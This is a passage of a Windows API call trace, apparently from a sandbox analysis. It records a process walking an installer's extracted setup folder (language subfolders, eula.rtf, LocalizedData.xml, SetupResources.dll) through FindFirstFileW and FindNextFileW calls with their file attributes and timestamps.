HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0100.599] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1055", cAlternateFileName="")) returned 1 [0100.599] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0100.599] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e502c0 [0100.599] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.599] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf13, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0100.599] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0100.599] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0100.600] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0100.600] FindClose (in: hFindFile=0x3e502c0 | out: hFindFile=0x3e502c0) returned 1 [0100.600] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0100.600] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2052", cAlternateFileName="")) returned 1 [0100.600] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0100.600] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e501c0 [0100.600] FindNextFileW (in: hFindFile=0x3e501c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.600] FindNextFileW (in: hFindFile=0x3e501c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x16c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0100.600] FindNextFileW (in: hFindFile=0x3e501c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0100.600] FindNextFileW (in: hFindFile=0x3e501c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0100.601] FindNextFileW (in: hFindFile=0x3e501c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0100.601] FindClose (in: hFindFile=0x3e501c0 | out: hFindFile=0x3e501c0) returned 1 [0100.601] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0100.601] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2070", cAlternateFileName="")) returned 1 [0100.601] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0100.601] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50400 [0100.601] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.601] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0100.601] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1397e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0100.601] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0100.602] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0100.602] FindClose (in: hFindFile=0x3e50400 | out: hFindFile=0x3e50400) returned 1 [0100.602] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0100.602] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3076", cAlternateFileName="")) returned 1 [0100.602] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0100.602] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50600 [0100.602] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.602] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0100.602] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0100.603] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0100.603] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0100.603] FindClose (in: hFindFile=0x3e50600 | out: hFindFile=0x3e50600) returned 1 [0100.603] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0100.603] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="3082", cAlternateFileName="")) returned 1 [0100.603] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0100.603] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50600 [0100.604] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.604] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0100.604] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1387c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0100.604] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0100.605] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0100.605] FindClose (in: hFindFile=0x3e50600 | out: hFindFile=0x3e50600) returned 1 [0100.605] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0100.605] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Client", cAlternateFileName="")) returned 1 [0100.605] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0100.605] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50600 [0100.606] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.606] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0xce2bc00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x31444, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0100.606] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0100.606] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0100.606] FindClose (in: hFindFile=0x3e50600 | out: hFindFile=0x3e50600) returned 1 [0100.606] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0100.606] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DHtmlHeader.html", cAlternateFileName="DHTMLH~1.HTM")) returned 1 [0100.606] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x159d5, dwReserved0=0x0, dwReserved1=0x240000, 